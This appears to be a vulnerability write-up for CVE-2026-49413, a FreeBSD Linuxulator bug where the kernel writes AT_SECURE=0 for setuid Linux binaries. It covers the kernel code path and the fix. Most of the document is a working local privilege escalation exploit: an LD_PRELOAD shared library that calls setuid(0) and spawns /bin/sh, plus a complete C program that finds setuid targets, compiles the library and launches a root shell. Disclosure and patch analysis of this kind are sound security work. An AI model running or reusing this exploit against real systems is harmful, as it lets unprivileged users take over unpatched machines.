CVE-2026-49413 - FreeBSD LPE via Linuxulator AT_SECURE Logic Bug
Introduction
This blog post describes how to exploit a local privilege escalation vulnerability caused by a logic bug in FreeBSD’s Linuxulator subsystem. The vulnerability exists in the LINUX_AT_SECURE auxiliary vector generation during execve() of setuid Linux ELF binaries.
Unlike typical kernel exploitation that requires race conditions or memory corruption, this is a deterministic logic bug — 100% reproducible with no timing dependency.
Affected Versions
All supported versions of FreeBSD with the Linuxulator (linux.ko / linux64.ko) loaded are affected. Systems that do not have either module loaded, or which do not have any set-uid/set-gid Linux executables, are not affected.
| Branch | Fixed Version |
|---|---|
| stable/15 | 15.1-STABLE |
| releng/15.1 | 15.1-RC3-p1 |
| releng/15.0 | 15.0-RELEASE-p10 |
| stable/14 | 14.4-STABLE |
| releng/14.4 | 14.4-RELEASE-p6 |
| releng/14.3 | 14.3-RELEASE-p15 |
Vulnerability
The FreeBSD Linuxulator provides Linux binary compatibility by emulating the Linux kernel ABI. When a Linux ELF binary is executed, the kernel populates the ELF auxiliary vector (auxv) on the process stack. One critical entry is AT_SECURE, which tells the Linux dynamic linker (ld-linux.so) whether the process is running with elevated privileges. When AT_SECURE=1, the linker enters “secure mode” and ignores dangerous environment variables like LD_PRELOAD and LD_LIBRARY_PATH.
The vulnerable code is in __linuxN(copyout_auxargs)(), which determines the AT_SECURE value by checking the P_SUGID process flag. At [A], the function reads p->p_flag & P_SUGID to decide if the binary is running set-id. At [B], this value is written to the LINUX_AT_SECURE auxv entry on the user stack. The problem is that P_SUGID is not yet set at this point in the execve() execution flow.
__linuxN(copyout_auxargs)()
// sys/compat/linux/linux_elf.c — __linuxN(copyout_auxargs)()
int
__linuxN(copyout_auxargs)(struct image_params *imgp, uintptr_t base)
{
struct thread *td = curthread;
Elf_Auxargs *args;
Elf_Auxinfo *aarray, *pos;
struct proc *p;
int error, issetugid;
p = imgp->proc;
issetugid = p->p_flag & P_SUGID ? 1 : 0; // [A] BUG: P_SUGID is still 0
args = imgp->auxargs;
aarray = pos = malloc(LINUX_AT_COUNT * sizeof(*pos), M_TEMP,
M_WAITOK | M_ZERO);
__linuxN(arch_copyout_auxargs)(imgp, &pos);
// [...]
AUXARGS_ENTRY(pos, AT_UID, imgp->proc->p_ucred->cr_ruid);
AUXARGS_ENTRY(pos, AT_EUID, imgp->proc->p_ucred->cr_svuid);
AUXARGS_ENTRY(pos, AT_GID, imgp->proc->p_ucred->cr_rgid);
AUXARGS_ENTRY(pos, AT_EGID, imgp->proc->p_ucred->cr_svgid);
AUXARGS_ENTRY(pos, LINUX_AT_SECURE, issetugid); // [B] AT_SECURE = 0
// [...]
AUXARGS_ENTRY(pos, AT_NULL, 0);
free(imgp->auxargs, M_TEMP);
imgp->auxargs = NULL;
KASSERT(pos - aarray <= LINUX_AT_COUNT, ("Too many auxargs"));
error = copyout(aarray, PTRIN(base), sizeof(*aarray) * LINUX_AT_COUNT);
free(aarray, M_TEMP);
return (error);
}
Execution Order in kern_exec.c
To understand the bug, we need to look at the execution order within do_execve() in kern/kern_exec.c:
Step 1 — Setuid detection (Line 615)
When the kernel detects a setuid/setgid binary, it immediately sets imgp->credential_setid = true. This happens early, before any stack setup.
kern_exec.c:609-615
// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
struct vmspace *oldvmspace)
{
// [...]
if (credential_changing &&
#ifdef CAPABILITY_MODE
((oldcred->cr_flags & CRED_FLAG_CAPMODE) == 0) &&
#endif
(imgp->vp->v_mount->mnt_flag & MNT_NOSUID) == 0 &&
(p->p_flag & P_TRACED) == 0) {
imgp->credential_setid = true; // setuid detected — set immediately
VOP_UNLOCK(imgp->vp);
imgp->newcred = crdup(oldcred);
if (attr.va_mode & S_ISUID) {
euip = uifind(attr.va_uid);
change_euid(imgp->newcred, euip);
}
// [...]
}
// [...]
}
Step 2 — Auxiliary vector copyout (Line 744)
Next, the kernel copies out the argument strings and auxiliary vector to the new process stack. This is where copyout_auxargs() is called, which reads P_SUGID. At this point, imgp->credential_setid is already true (set in Step 1), but p->p_flag & P_SUGID is still 0 (not yet set).
kern_exec.c:744
// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
struct vmspace *oldvmspace)
{
// [...]
/*
* Copy out strings (args and env) and initialize stack base.
*/
error = (*p->p_sysent->sv_copyout_strings)(imgp, &stack_base);
// [...]
}
Step 3 — P_SUGID flag set (Line 846)
Only now, well after the auxv has already been written to the user stack, does the kernel call setsugid() to set the P_SUGID flag.
kern_exec.c:840-846
// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
struct vmspace *oldvmspace)
{
// [...]
if (imgp->credential_setid) {
/*
* Turn off syscall tracing for set-id programs, except for
* root. Record any set-id flags first to make sure that
* we do not regain any tracing during a possible block.
*/
setsugid(p); // P_SUGID = 1 — too late!
// [...]
}
// [...]
}
Step 4 — New credentials installed (Line 880)
Finally, the elevated credentials (euid=0 for setuid-root binaries) are installed. kern_exec.c:879-880
// sys/kern/kern_exec.c — do_execve()
static int
do_execve(struct thread *td, struct image_args *args, struct mac *mac_p,
struct vmspace *oldvmspace)
{
// [...]
/*
* Set the new credentials.
*/
if (imgp->newcred != NULL) {
proc_set_cred(p, imgp->newcred); // euid=0 installed
crfree(oldcred);
oldcred = NULL;
}
// [...]
}
Execution Flow
The result: the process runs with euid=0, but AT_SECURE=0 is on the stack.
do_execve()
│
├── [Line 615] imgp->credential_setid = true
│
├── [Line 744] sv_copyout_strings(imgp)
│ └── copyout_auxargs(imgp)
│ ├── issetugid = p->p_flag & P_SUGID → 0 // P_SUGID not yet set
│ └── AUXARGS_ENTRY(LINUX_AT_SECURE, 0) // wrong value written
│
├── [Line 846] setsugid(p) // too late
│
└── [Line 880] proc_set_cred(p, imgp->newcred) // euid=0 installed
Patch
The fix replaces the P_SUGID process flag check with imgp->credential_setid, which is already set at the point where the auxiliary vector is constructed.
d39be1b1b50d
diff --git a/sys/compat/linux/linux_elf.c b/sys/compat/linux/linux_elf.c
index c9eb6aea8373..6c9f785c97e7 100644
--- a/sys/compat/linux/linux_elf.c
+++ b/sys/compat/linux/linux_elf.c
@@ -492,11 +492,9 @@ __linuxN(copyout_auxargs)(struct image_params *imgp, uintptr_t base)
struct thread *td = curthread;
Elf_Auxargs *args;
Elf_Auxinfo *aarray, *pos;
- struct proc *p;
int error, issetugid;
- p = imgp->proc;
- issetugid = p->p_flag & P_SUGID ? 1 : 0;
+ issetugid = imgp->credential_setid ? 1 : 0;
args = imgp->auxargs;
aarray = pos = malloc(LINUX_AT_COUNT * sizeof(*pos), M_TEMP,
M_WAITOK | M_ZERO);
Exploitation
The exploit is trivial: set LD_PRELOAD to a malicious shared library, then execute a setuid-root Linux binary. Because AT_SECURE=0, ld-linux.so loads the library without question, executing the attacker’s constructor code in an euid=0 context.
Exploit Flow
1. Unprivileged user (uid=1000): Create evil.so
└── __attribute__((constructor)): setuid(0) + setgid(0) + execve("/bin/sh")
└── Uses raw Linux syscalls (no libc dependency)
2. Unprivileged user: LD_PRELOAD=/tmp/evil.so /compat/linux/usr/bin/su
3. Kernel do_execve():
├── [Line 615] credential_setid = true ← setuid detected
├── [Line 744] copyout_auxargs() → AT_SECURE = 0 ← BUG
├── [Line 846] setsugid(p) ← too late
└── [Line 880] proc_set_cred() → euid = 0 ← root installed
4. Userspace execution begins:
├── ld-linux.so: AT_SECURE=0 → secure mode disabled
├── ld-linux.so: LD_PRELOAD=/tmp/evil.so → loads evil.so
└── evil.so constructor: runs with euid=0
5. evil.so:
├── setuid(0) → ruid = 0
├── setgid(0) → rgid = 0
└── execve("/bin/sh") → root shell
evil.so
The shared library constructor uses raw Linux syscall numbers via inline assembly to avoid any glibc dependency. It is compiled as a position-independent shared object with -nostdlib and then branded as a Linux ELF with brandelf -t Linux, which tells the FreeBSD kernel to route its syscalls through the Linuxulator instead of the native handler.
$ cat evil.c
void _start(void){}
__attribute__((constructor))
void pwned(void)
{
long euid;
__asm__ volatile("syscall":"=a"(euid):"a"(107):"rcx","r11");
char m1[]="\n[+] evil.so: euid=";
__asm__ volatile("syscall"::"a"(1),"D"(2),"S"(m1),"d"(18):"rcx","r11","memory");
char d='0'+(euid%10);
__asm__ volatile("syscall"::"a"(1),"D"(2),"S"(&d),"d"(1):"rcx","r11","memory");
char nl='\n';
__asm__ volatile("syscall"::"a"(1),"D"(2),"S"(&nl),"d"(1):"rcx","r11","memory");
if(euid==0)
{
char m2[]="[+] GOT ROOT! Spawning shell...\n";
__asm__ volatile("syscall"::"a"(1),"D"(2),"S"(m2),"d"(31):"rcx","r11","memory");
__asm__ volatile("syscall"::"a"(105),"D"(0):"rcx","r11");
__asm__ volatile("syscall"::"a"(106),"D"(0):"rcx","r11");
char *s="/bin/sh";
char *a[]={s,0};
__asm__ volatile("syscall"::"a"(59),"D"(s),"S"(a),"d"(0):"rcx","r11","memory");
}
__asm__ volatile("syscall"::"a"(60),"D"(1):"rcx","r11");
}
$ cc -shared -fPIC -nostdlib -o evil.so evil.c
$ brandelf -t Linux evil.so
Executing the exploit against a setuid Linux binary to obtain a root shell.

Full Exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/module.h>
#define EVIL_SRC "/tmp/.poc_evil.c"
#define EVIL_SO "/tmp/.poc_evil.so"
static const char evil_src[] =
"void _start(void){}\n"
"__attribute__((constructor))\n"
"void pwned(void)\n"
"{\n"
" long euid;\n"
" __asm__ volatile(\"syscall\":\"=a\"(euid):\"a\"(107):\"rcx\",\"r11\");\n"
" char m1[]=\"\\n[+] evil.so: euid=\";\n"
" __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m1),\"d\"(18):\"rcx\",\"r11\",\"memory\");\n"
" char d='0'+(euid%10);\n"
" __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&d),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
" char nl='\\n';\n"
" __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&nl),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
" if(euid==0)\n"
" {\n"
" char m2[]=\"[+] GOT ROOT! Spawning shell...\\n\";\n"
" __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m2),\"d\"(31):\"rcx\",\"r11\",\"memory\");\n"
" __asm__ volatile(\"syscall\"::\"a\"(105),\"D\"(0):\"rcx\",\"r11\");\n"
" __asm__ volatile(\"syscall\"::\"a\"(106),\"D\"(0):\"rcx\",\"r11\");\n"
" char *s=\"/bin/sh\";\n"
" char *a[]={s,0};\n"
" __asm__ volatile(\"syscall\"::\"a\"(59),\"D\"(s),\"S\"(a),\"d\"(0):\"rcx\",\"r11\",\"memory\");\n"
" }\n"
" __asm__ volatile(\"syscall\"::\"a\"(60),\"D\"(1):\"rcx\",\"r11\");\n"
"}\n";
static const char *suid_candidates[] = {
"/compat/linux/usr/bin/su",
"/compat/linux/usr/bin/sudo",
"/compat/linux/usr/bin/passwd",
"/compat/linux/usr/bin/chage",
"/compat/linux/usr/bin/gpasswd",
"/compat/linux/usr/bin/newgrp",
"/compat/linux/usr/bin/crontab",
"/compat/linux/usr/bin/pkexec",
"/compat/linux/usr/bin/at",
"/compat/linux/usr/sbin/unix_chkpwd",
"/compat/linux/usr/lib/polkit-1/polkit-agent-helper-1",
"/compat/linux/usr/libexec/dbus-daemon-launch-helper",
"/compat/linux/bin/ping",
"/compat/linux/bin/mount",
"/compat/linux/bin/umount",
"/compat/linux/usr/bin/ls",
"/compat/linux/usr/bin/cat",
"/compat/linux/usr/bin/id",
"/compat/linux/usr/bin/env",
"/compat/linux/bin/ls",
"/compat/linux/bin/cat",
NULL
};
static const char *find_suid_linux_binary(void)
{
struct stat sb;
int i;
for (i = 0; suid_candidates[i]; i++)
{
if (stat(suid_candidates[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0)
return suid_candidates[i];
}
for (i = 0; suid_candidates[i]; i++)
{
if (stat(suid_candidates[i], &sb) == 0)
return suid_candidates[i];
}
return NULL;
}
static int check_linuxulator(void)
{
if (modfind("linux64") >= 0 || modfind("linux") >= 0)
return 1;
struct stat sb;
if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
return 1;
return 0;
}
static int check_at_secure(const char *target)
{
int pipefd[2];
if (pipe(pipefd) < 0)
return -1;
pid_t pid = fork();
if (pid < 0)
return -1;
if (pid == 0)
{
close(pipefd[0]);
dup2(pipefd[1], STDOUT_FILENO);
dup2(pipefd[1], STDERR_FILENO);
close(pipefd[1]);
setenv("LD_SHOW_AUXV", "1", 1);
execl(target, target, "--help", NULL);
_exit(1);
}
close(pipefd[1]);
char buf[4096];
int total = 0, n;
while ((n = read(pipefd[0], buf + total,
sizeof(buf) - total - 1)) > 0)
total += n;
buf[total] = '\0';
close(pipefd[0]);
int status;
waitpid(pid, &status, 0);
char *p = strstr(buf, "AT_SECURE");
if (!p)
return -1;
char *colon = strchr(p, ':');
if (colon)
{
int val = atoi(colon + 1);
return (val == 0) ? 0 : 1;
}
return -1;
}
static int build_evil_so(void)
{
FILE *f = fopen(EVIL_SRC, "w");
if (!f) { perror("[-] fopen"); return -1; }
fputs(evil_src, f);
fclose(f);
char cmd[512];
snprintf(cmd, sizeof(cmd),
"cc -shared -fPIC -nostdlib -o %s %s 2>/dev/null && "
"brandelf -t Linux %s 2>/dev/null",
EVIL_SO, EVIL_SRC, EVIL_SO);
if (system(cmd) != 0)
{
fprintf(stderr, "[-] evil.so compile failed\n");
return -1;
}
chmod(EVIL_SO, 0755);
return 0;
}
static void cleanup(void)
{
unlink(EVIL_SRC);
}
int main()
{
const char *target = NULL;
printf("[*] uid=%d euid=%d pid=%d\n\n", getuid(), geteuid(), getpid());
printf("--- Phase 1: Environment Check ---\n\n");
int linux_loaded = check_linuxulator();
if (linux_loaded)
{
printf("[+] Linuxulator: loaded\n");
}
else
{
printf("[-] Linuxulator: not loaded\n");
printf(" This system is NOT vulnerable (linux64.ko required)\n");
return 1;
}
struct stat sb;
if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
{
printf("[+] ld-linux-x86-64.so.2: present\n");
}
else if (stat("/compat/linux/lib/ld-linux.so.2", &sb) == 0)
{
printf("[+] ld-linux.so.2: present (32-bit)\n");
}
else
{
printf("[-] ld-linux: not found\n");
printf(" glibc not installed. NOT exploitable.\n");
return 1;
}
if (!target)
target = find_suid_linux_binary();
if (!target)
{
printf("[-] No Linux binary found under /compat/linux/\n");
printf(" No setuid target available. NOT exploitable.\n");
return 1;
}
if (stat(target, &sb) != 0)
{
printf("[-] Target not found: %s\n", target);
return 1;
}
int is_suid = (sb.st_mode & S_ISUID) && sb.st_uid == 0;
if (is_suid)
{
printf("[+] Target: %s (setuid-root)\n", target);
}
else
{
printf("[!] Target: %s (NOT setuid-root)\n", target);
return 1;
}
printf("\n--- Phase 2: AT_SECURE Check ---\n\n");
printf("[*] Testing AT_SECURE value via LD_SHOW_AUXV...\n");
int at_secure = check_at_secure(target);
if (at_secure == 0)
{
printf("[+] AT_SECURE = 0\n");
printf("[+] VULNERABLE: setuid binary has AT_SECURE=0\n");
if (is_suid)
printf("[+] LD_PRELOAD will be honored with euid=0\n");
else
printf("[!] Bug confirmed but target is not setuid-root\n");
}
else if (at_secure == 1)
{
printf("[-] AT_SECURE = 1\n");
printf("[-] SAFE: kernel correctly sets AT_SECURE (patched?)\n");
return 0;
}
else
{
printf("[?] AT_SECURE: could not determine\n");
printf(" LD_SHOW_AUXV output not found.\n");
printf(" Possible: static binary or AT_SECURE=1 (not vuln)\n");
return 1;
}
printf("\n--- Phase 3: Local Privilege Escalation ---\n\n");
if (build_evil_so() != 0)
{
cleanup();
return 1;
}
printf("[+] evil.so built: %s\n", EVIL_SO);
printf("[*] Launching: LD_PRELOAD=%s %s\n", EVIL_SO, target);
setenv("LD_PRELOAD", EVIL_SO, 1);
execl(target, target, NULL);
perror("[-] execl");
cleanup();
return 1;
}